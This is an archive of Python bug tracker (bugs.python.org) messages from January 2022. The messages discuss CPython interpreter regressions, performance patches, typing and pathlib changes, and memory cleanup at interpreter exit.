05:50:39 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642917039.18.0.48532765153.issue46465@roundup.psfhosted.org> STINNER Victor added the comment: The problem is that the optimization no longer checks for pending signals in TARGET(CALL_NO_KW_BUILTIN_FAST). The patch below fix my issue. I guess that other opcode needs an additional CHECK_EVAL_BREAKER(). diff --git a/Python/ceval.c b/Python/ceval.c index 9aaddd99eda..7cc0f805366 100644 --- a/Python/ceval.c +++ b/Python/ceval.c @@ -4822,6 +4822,7 @@ _PyEval_EvalFrameDefault(PyThreadState *tstate, InterpreterFrame *frame, int thr */ goto error; } + CHECK_EVAL_BREAKER(); DISPATCH(); } ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 00:56:27 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 05:56:27 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642917387.15.0.162698541229.issue46465@roundup.psfhosted.org> STINNER Victor added the comment: It seems like the following target miss CHECK_EVAL_BREAKER(): TARGET(CALL_NO_KW_METHOD_DESCRIPTOR_FAST) TARGET(CALL_NO_KW_METHOD_DESCRIPTOR_O) TARGET(CALL_NO_KW_BUILTIN_FAST) TARGET(CALL_NO_KW_BUILTIN_O) TARGET(CALL_NO_KW_BUILTIN_CLASS_1) CHECK_EVAL_BREAKER() matters for signals, but also multithreading (drop the GIL), asynchronous exception and pending calls. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 01:50:15 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 23 Jan 2022 06:50:15 +0000 Subject: [issue46481] Implement vectorcall protocol for weakref_call() Message-ID: <1642920614.99.0.42696880925.issue46481@roundup.psfhosted.org> New submission from Dong-hee Na : Triggered by Victor's suggestion: - Well-used. - Easy to enhance performance. - Performance enhancement is notable. Mean +- std dev: [weakref_base] 49.3 ns +- 2.2 ns -> [weakref_vectorcall] 27.7 ns +- 0.9 ns: 1.78x faster ---------- assignee: corona10 components: Interpreter Core files: bench_weakref.py messages: 411350 nosy: corona10, vstinner priority: normal severity: normal status: open title: Implement vectorcall protocol for weakref_call() type: performance versions: Python 3.11 Added file: https://bugs.python.org/file50578/bench_weakref.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 01:54:35 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 23 Jan 2022 06:54:35 +0000 Subject: [issue46481] Implement vectorcall protocol for weakref_call() In-Reply-To: <1642920614.99.0.42696880925.issue46481@roundup.psfhosted.org> Message-ID: <1642920875.67.0.834237275045.issue46481@roundup.psfhosted.org> Change by Dong-hee Na : ---------- keywords: +patch pull_requests: +29007 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30820 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 01:57:12 2022 From: report at bugs.python.org (Andrei Kulakov) Date: Sun, 23 Jan 2022 06:57:12 +0000 Subject: [issue45606] pathlib.Path.glob() does not list dangling symlink when pattern is the exact filename In-Reply-To: <1635189655.12.0.290768542952.issue45606@roundup.psfhosted.org> Message-ID: <1642921032.92.0.777899093298.issue45606@roundup.psfhosted.org> Change by Andrei Kulakov : ---------- title: pathlib.Path.glob() does not list dangling symlink when pattern is the exact filenane -> pathlib.Path.glob() does not list dangling symlink when pattern is the exact filename versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 02:25:17 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 23 Jan 2022 07:25:17 +0000 Subject: [issue44642] Union of a type and the typing module function In-Reply-To: <1626335898.92.0.441498587725.issue44642@roundup.psfhosted.org> Message-ID: <1642922717.64.0.459569832807.issue44642@roundup.psfhosted.org> Nikita Sobolev added the comment: Looks like it was fixed indeed, `NewType` is now a class. And I cannot reproduce it even on `3.10`: ``` Python 3.10.0 (default, Nov 1 2021, 10:24:06) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import typing >>> int | typing.cast Traceback (most recent call last): File "", line 1, in TypeError: unsupported operand type(s) for |: 'type' and 'function' >>> int | typing.get_type_hints Traceback (most recent call last): File "", line 1, in TypeError: unsupported operand type(s) for |: 'type' and 'function' ``` ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 02:45:31 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 23 Jan 2022 07:45:31 +0000 Subject: [issue46482] `typing.Annotation.__new__` is not covered Message-ID: <1642923930.92.0.866402366544.issue46482@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now no unit test covers this line: https://github.com/python/cpython/blob/51c3e28c8a163e58dc753765e3cc51d5a717e70d/Lib/typing.py#L1669-L1670 I will send a simple test for it. ---------- components: Tests messages: 411352 nosy: gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: `typing.Annotation.__new__` is not covered type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 02:46:34 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 23 Jan 2022 07:46:34 +0000 Subject: [issue46482] `typing.Annotation.__new__` is not covered In-Reply-To: <1642923930.92.0.866402366544.issue46482@roundup.psfhosted.org> Message-ID: <1642923994.24.0.315922229311.issue46482@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29008 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30821 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 02:56:49 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 23 Jan 2022 07:56:49 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642924609.85.0.872169433166.issue46476@roundup.psfhosted.org> Kumar Aditya added the comment: > Would it be possible to enhance deepfreeze be produce a list of all (immortal) code objects? It is tricky because the deepfreeze modules are generated by the bootstrap interpreter in Linux/MacOS and the downloaded python from nuget interpreter on Windows so when the bootstrap interpreter is built there will be no list of code objects to begin with so it won't work as intended. But I have an idea : If we can #define Py_DEEPFROZEN_MODULES in the final interpreter but not in the bootstrap one, and then in pylifecycle.c an extern function can free up deep-frozen modules memory if Py_DEEPFROZEN_MODULES which will be defined in deepfreeze.c then it should work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 03:16:30 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 23 Jan 2022 08:16:30 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` Message-ID: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> New submission from Nikita Sobolev : After reviewing https://github.com/python/cpython/pull/30777 I had a chance to look through other definitions of `def __class_getitem__`. And I found that the only one left is: `pathlib.PurePath.__class_getitem__` All other definitions already have this form: `__class_getitem__ = classmethod(GenericAlias)`. I don't think that there's anything special about `PurePath` in this regard. So, I propose to make `__class_getitem__` to return `GenericAlias` as all other types do. Initial PR: https://github.com/python/cpython/pull/17498 PR is on its way. ---------- components: Library (Lib) messages: 411354 nosy: sobolevn priority: normal severity: normal status: open title: `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 03:19:01 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 23 Jan 2022 08:19:01 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1642925941.02.0.0301439319243.issue46483@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29009 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30822 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 03:32:21 2022 From: report at bugs.python.org (jiahua wang) Date: Sun, 23 Jan 2022 08:32:21 +0000 Subject: [issue46456] Add mime type "image/avif" In-Reply-To: <1642778411.49.0.176829776976.issue46456@roundup.psfhosted.org> Message-ID: <1642926741.58.0.611959321267.issue46456@roundup.psfhosted.org> Change by jiahua wang : ---------- keywords: +patch pull_requests: +29010 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30823 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 03:55:47 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 23 Jan 2022 08:55:47 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642928147.1.0.553954828818.issue46476@roundup.psfhosted.org> Kumar Aditya added the comment: Clearing co_quickened is easy, but it would requires changes to the build system to change the build order on Windows and bootstrap interpreter on Windows. I manually edited the Windows project files but it requires generating deepfreeze.c before hand. It cleared around ~60 memory blocks on Windows. See branch https://github.com/kumaraditya303/cpython/commits/fix-code ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 03:56:27 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 23 Jan 2022 08:56:27 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642928187.15.0.70497592306.issue46476@roundup.psfhosted.org> Kumar Aditya added the comment: bootstrap interpreter on Windows => bootstrap interpreter on Unix ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 04:59:43 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 23 Jan 2022 09:59:43 +0000 Subject: [issue29882] Add an efficient popcount method for integers In-Reply-To: <1490203842.58.0.276315183014.issue29882@psf.upfronthosting.co.za> Message-ID: <1642931983.08.0.0551589867764.issue29882@roundup.psfhosted.org> Mark Dickinson added the comment: New changeset 83a0ef2162aa379071e243f1b696aa6814edcd2a by Mark Dickinson in branch 'main': bpo-29882: Fix portability bug introduced in GH-30774 (#30794) https://github.com/python/cpython/commit/83a0ef2162aa379071e243f1b696aa6814edcd2a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 05:00:45 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 23 Jan 2022 10:00:45 +0000 Subject: [issue46406] optimize int division In-Reply-To: <1642376309.6.0.865823725901.issue46406@roundup.psfhosted.org> Message-ID: <1642932045.81.0.804407258691.issue46406@roundup.psfhosted.org> Mark Dickinson added the comment: New changeset c7f20f1cc8c20654e5d539552604362feb9b0512 by Gregory P. Smith in branch 'main': bpo-46406: Faster single digit int division. (#30626) https://github.com/python/cpython/commit/c7f20f1cc8c20654e5d539552604362feb9b0512 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 05:01:22 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 23 Jan 2022 10:01:22 +0000 Subject: [issue46406] optimize int division In-Reply-To: <1642376309.6.0.865823725901.issue46406@roundup.psfhosted.org> Message-ID: <1642932082.69.0.482975769872.issue46406@roundup.psfhosted.org> Change by Mark Dickinson : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 05:01:52 2022 From: report at bugs.python.org (AN Long) Date: Sun, 23 Jan 2022 10:01:52 +0000 Subject: [issue21861] io class name are hardcoded in reprs In-Reply-To: <1403631418.74.0.109096243494.issue21861@psf.upfronthosting.co.za> Message-ID: <1642932112.33.0.770257167897.issue21861@roundup.psfhosted.org> Change by AN Long : ---------- nosy: +asaka nosy_count: 11.0 -> 12.0 pull_requests: +29011 pull_request: https://github.com/python/cpython/pull/30824 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 05:20:17 2022 From: report at bugs.python.org (jiahua wang) Date: Sun, 23 Jan 2022 10:20:17 +0000 Subject: [issue46484] Add test for Calendar().iterweekdays() Message-ID: <1642933217.39.0.499836465558.issue46484@roundup.psfhosted.org> New submission from jiahua wang : Apparently there is no test for Calendar().iterweekdays(). wangdeMacBook-Pro :: ~/cpython ? grep -R iterweekdays Lib/test/ * Binary file Lib/test//__pycache__/test_calendar.cpython-311.pyc matches Doc/library/calendar.rst: .. method:: iterweekdays() Binary file Lib/test/__pycache__/test_calendar.cpython-311.pyc matches Binary file Lib/__pycache__/calendar.cpython-311.pyc matches Lib/calendar.py: def iterweekdays(self): Lib/calendar.py: return ' '.join(self.formatweekday(i, width) for i in self.iterweekdays()) Lib/calendar.py: s = ''.join(self.formatweekday(i) for i in self.iterweekdays()) ---------- components: Tests messages: 411359 nosy: wangjiahua priority: normal severity: normal status: open title: Add test for Calendar().iterweekdays() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 05:23:02 2022 From: report at bugs.python.org (jiahua wang) Date: Sun, 23 Jan 2022 10:23:02 +0000 Subject: [issue46484] Add test for Calendar().iterweekdays() In-Reply-To: <1642933217.39.0.499836465558.issue46484@roundup.psfhosted.org> Message-ID: <1642933382.33.0.697031061377.issue46484@roundup.psfhosted.org> Change by jiahua wang : ---------- keywords: +patch pull_requests: +29012 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30825 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 05:38:56 2022 From: report at bugs.python.org (Robert Einhorn) Date: Sun, 23 Jan 2022 10:38:56 +0000 Subject: [issue46485] ~ PEG operator in the grammar Message-ID: <1642934336.87.0.137852239305.issue46485@roundup.psfhosted.org> New submission from Robert Einhorn : This is probably not an error and I may misinterpret the PEP 617, but I don't know what the ~ PEG operator means in the next rule if there is no alternative: assignment_expression: | NAME ':=' ~ expression And similarly with this rule if there is no more alternative: assignment: | NAME ':' expression ['=' annotated_rhs ] | ('(' single_target ')' | single_subscript_attribute_target) ':' expression ['=' annotated_rhs ] | (star_targets '=' )+ (yield_expr | star_expressions) !'=' [TYPE_COMMENT] | single_target augassign ~ (yield_expr | star_expressions) Related links: https://docs.python.org/3/reference/grammar.html https://www.python.org/dev/peps/pep-0617/#id9 ---------- components: Parser messages: 411360 nosy: RobEin, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: ~ PEG operator in the grammar versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 06:22:40 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 23 Jan 2022 11:22:40 +0000 Subject: [issue46485] ~ PEG operator in the grammar In-Reply-To: <1642934336.87.0.137852239305.issue46485@roundup.psfhosted.org> Message-ID: <1642936960.19.0.317147445261.issue46485@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: It means the same as if there is alternatives: if it fails to parse then it will immediately fail. We place them in rules like this in preparation for extension or in case there are invalid_* rules in the same set (which doesn't appear in the grammar definition). ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 06:38:14 2022 From: report at bugs.python.org (Robert Einhorn) Date: Sun, 23 Jan 2022 11:38:14 +0000 Subject: [issue46485] ~ PEG operator in the grammar In-Reply-To: <1642934336.87.0.137852239305.issue46485@roundup.psfhosted.org> Message-ID: <1642937894.09.0.778452112743.issue46485@roundup.psfhosted.org> Robert Einhorn added the comment: Thanks ---------- resolution: not a bug -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 06:45:38 2022 From: report at bugs.python.org (Aviram) Date: Sun, 23 Jan 2022 11:45:38 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642938338.7.0.143928251142.issue46376@roundup.psfhosted.org> Aviram added the comment: I sent it to sig-capi - https://mail.python.org/archives/list/capi-sig at python.org/thread/T6DHEKHKKZIYU2GEPGHUQJ3DHTJXZGWW/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 06:52:40 2022 From: report at bugs.python.org (Ken Jin) Date: Sun, 23 Jan 2022 11:52:40 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642938760.61.0.195047733539.issue46465@roundup.psfhosted.org> Ken Jin added the comment: Thanks @Victor for catching this and figuring it out. I had a hard time narrowing this down since I'm on Windows which doesn't support signals :(. I'll handle the required patch and tests. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:02:36 2022 From: report at bugs.python.org (Ken Jin) Date: Sun, 23 Jan 2022 13:02:36 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642942956.46.0.739934154773.issue46465@roundup.psfhosted.org> Change by Ken Jin : ---------- keywords: +patch pull_requests: +29013 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30826 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:08:08 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 Jan 2022 13:08:08 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern In-Reply-To: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> Message-ID: <1642943288.15.0.264017955696.issue46474@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +29014 pull_request: https://github.com/python/cpython/pull/30827 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:10:44 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 Jan 2022 13:10:44 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern In-Reply-To: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> Message-ID: <1642943444.67.0.817138421236.issue46474@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +29015 pull_request: https://github.com/python/cpython/pull/30828 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:12:11 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 Jan 2022 13:12:11 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern In-Reply-To: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> Message-ID: <1642943531.82.0.448583215651.issue46474@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +29016 pull_request: https://github.com/python/cpython/pull/30829 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:19:54 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 23 Jan 2022 13:19:54 +0000 Subject: [issue46486] Rename DesciptorClassification => DescriptorClassification in specialize.c Message-ID: <1642943994.09.0.155847688155.issue46486@roundup.psfhosted.org> New submission from Kumar Aditya : Rename DesciptorClassification => DescriptorClassification in specialize.c as DesciptorClassification has a typo. ---------- messages: 411365 nosy: Mark.Shannon, kj, kumaraditya303 priority: normal severity: normal status: open title: Rename DesciptorClassification => DescriptorClassification in specialize.c versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:21:15 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 23 Jan 2022 13:21:15 +0000 Subject: [issue46486] Rename DesciptorClassification => DescriptorClassification in specialize.c In-Reply-To: <1642943994.09.0.155847688155.issue46486@roundup.psfhosted.org> Message-ID: <1642944075.28.0.556033522176.issue46486@roundup.psfhosted.org> Change by Kumar Aditya : ---------- keywords: +patch pull_requests: +29017 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30830 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:24:27 2022 From: report at bugs.python.org (Ken Jin) Date: Sun, 23 Jan 2022 13:24:27 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642944267.82.0.172292094026.issue46465@roundup.psfhosted.org> Ken Jin added the comment: A short summary (thanks to Victor's findings!): - os.kill(pid, signal.SIGINT) is specialized to CALL_NO_KW_FAST - CALL_NO_KW_FAST doesn't check eval breaker, so the signal is ignored - signal handler wasn't called, test fails I'd like to add tests for some of the other CALL_X in the future, but I'm a little short on time at the moment, sorry! For now, I've tried to turn some of the tests "hot" to see if I can get those to trigger. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:33:58 2022 From: report at bugs.python.org (Mark Shannon) Date: Sun, 23 Jan 2022 13:33:58 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642944838.8.0.0736768195134.issue46465@roundup.psfhosted.org> Mark Shannon added the comment: Is this a bug? Signal handling in Python is asynchronous. https://docs.python.org/3/library/signal.html#execution-of-python-signal-handlers The example code tests whether the interpreter responds synchronously and immediately. If you add `for _in range(1): pass` or a call to any Python function in between the `os.kill(pid, SIGNUM)` and the `if not self.called:` then the test passes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:36:46 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 13:36:46 +0000 Subject: [issue45703] importlib.invalidate_caches() does not invalidate _NamespacePath's _last_parent_path-based cache In-Reply-To: <1635938516.86.0.42328943914.issue45703@roundup.psfhosted.org> Message-ID: <1642945006.88.0.905965058774.issue45703@roundup.psfhosted.org> STINNER Victor added the comment: The automated backport to Python 3.9 failed. Miro asked me to close the PR: https://github.com/python/cpython/pull/29964 Can someone backport the fix to 3.9? (create a PR) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:46:13 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 13:46:13 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642945573.38.0.693481602175.issue46465@roundup.psfhosted.org> STINNER Victor added the comment: > Is this a bug? In Python 3.10, the code works. In Python 3.11, it fails. It's a behavior change. IMO this change is unwanted. I expect that signals are handled "as soon as possible", *especially* if we receive it "during" an os.kill() call on the current process on purpose. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:49:53 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 13:49:53 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642945793.78.0.623752383732.issue46465@roundup.psfhosted.org> STINNER Victor added the comment: It's also interesting to note that the implementation of os.kill() and signal.raise_signal() do *not* call PyErr_CheckSignal(). The following signal functions *do* call call PyErr_CheckSignal(): * signal.signal() * signal.pause() * signal.pthread_kill() * signal.pthread_sigmask() Some other signal functions call PyErr_CheckSignal() if a syscall fails with EINTR (PEP 475). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:52:56 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 13:52:56 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642945976.74.0.535147024255.issue46465@roundup.psfhosted.org> STINNER Victor added the comment: > Signal handling in Python is asynchronous. https://docs.python.org/3/library/signal.html#execution-of-python-signal-handlers See my previous comment: "CHECK_EVAL_BREAKER() matters for signals, but also multithreading (drop the GIL), asynchronous exception and pending calls." If a thread executes a function which only uses opcodes which don't call CHECK_EVAL_BREAKER(), I understand that it can eat more than its slice of 5 ms, see sys.getswitchinterval(): https://docs.python.org/dev/library/sys.html#sys.getswitchinterval So it's also a threads scheduling issue, no? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 09:00:07 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 14:00:07 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642946407.23.0.125152712939.issue46476@roundup.psfhosted.org> STINNER Victor added the comment: > See branch https://github.com/kumaraditya303/cpython/commits/fix-code Oh nice, I like this new _Py_Deepfreeze_Fini() function :-) I suggest to create a function specific to only clear immortal code objects. In my experience, it's important to control exactly when objects are cleared at Python exit: Py_Finalize() is complex and fragile. See my notes: https://pythondev.readthedocs.io/finalization.html Be careful, Python must remain usable after Py_Finalize(): it's legit to call Py_Initialize() again and execute new Python code. Example executing the same code 4 times, each time Py_Initialize() and Py_Finalize() are called: ./Programs/_testembed test_repeated_init_exec 'print("Hello")' My _PyStaticMethod_Dealloc() implementation uses Py_CLEAR() rather than Py_XDECREF() to set structure members to NULL. Moreover, there are more things than just co_quickened which should be cleared. I suggest to add a new function to clear an "immortal" code object. For example, I also suggest to call PyObject_ClearWeakRefs(). I guess that co_extra should also be cleared. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 09:12:52 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 23 Jan 2022 14:12:52 +0000 Subject: [issue46485] ~ PEG operator in the grammar In-Reply-To: <1642934336.87.0.137852239305.issue46485@roundup.psfhosted.org> Message-ID: <1642947172.75.0.454561788599.issue46485@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 09:48:48 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Sun, 23 Jan 2022 14:48:48 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1642949328.5.0.476400199279.issue46483@roundup.psfhosted.org> Batuhan Taskaya added the comment: New changeset 1f715d5bd3bc9ff444e109b6bbd13011913681b1 by Nikita Sobolev in branch 'main': bpo-46483: change `PurePath.__class_getitem__` to return `GenericAlias` (GH-30822) https://github.com/python/cpython/commit/1f715d5bd3bc9ff444e109b6bbd13011913681b1 ---------- nosy: +BTaskaya _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 09:52:11 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 23 Jan 2022 14:52:11 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1642949531.22.0.746516053096.issue46483@roundup.psfhosted.org> Serhiy Storchaka added the comment: Why __class_getitem__ was added in PurePath at first place? PurePath should not be a generic class, unlike to os.PathLike. For os.PathLike the type parameters represent the returning type of os.fspath() (either str or bytes), but the pathlib module only supports paths as strings, so no parametrization is needed. I think PurePath.__class_getitem__ should be removed. ---------- nosy: +gvanrossum, kj, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 10:07:30 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 23 Jan 2022 15:07:30 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642950450.59.0.381559465579.issue46476@roundup.psfhosted.org> Kumar Aditya added the comment: FYI, I updated the build files and got it working on Windows and clears around ~60 memory blocks. See the latest commit in branch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 10:09:18 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 23 Jan 2022 15:09:18 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1642950558.61.0.0859785385285.issue46483@roundup.psfhosted.org> Alex Waygood added the comment: It looks like __class_getitem__ was added to PurePath at @asvetlov's request in PR 17498. But, I'm also not quite sure why. The class is not generic in typeshed, so type-checkers will raise an error if you do PurePath[str], even if it is possible to do so at runtime. Typeshed stub for PurePath: https://github.com/python/typeshed/blob/dff461fc6adef1ec3a4b58af5abdf0cdebf2429a/stdlib/pathlib.pyi#L20 ---------- nosy: +AlexWaygood, asvetlov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 10:17:34 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sun, 23 Jan 2022 15:17:34 +0000 Subject: [issue46474] Inefficient regular expression complexity in EntryPoint.pattern In-Reply-To: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> Message-ID: <1642951054.65.0.190360821633.issue46474@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset a7a4ca4f06c8c31d7f403113702ad2e80bfc326b by Jason R. Coombs in branch '3.10': [3.10] bpo-46474: Avoid REDoS in EntryPoint.pattern (sync with importlib_metadata 4.10.1) (GH-30803) (GH-30827) https://github.com/python/cpython/commit/a7a4ca4f06c8c31d7f403113702ad2e80bfc326b 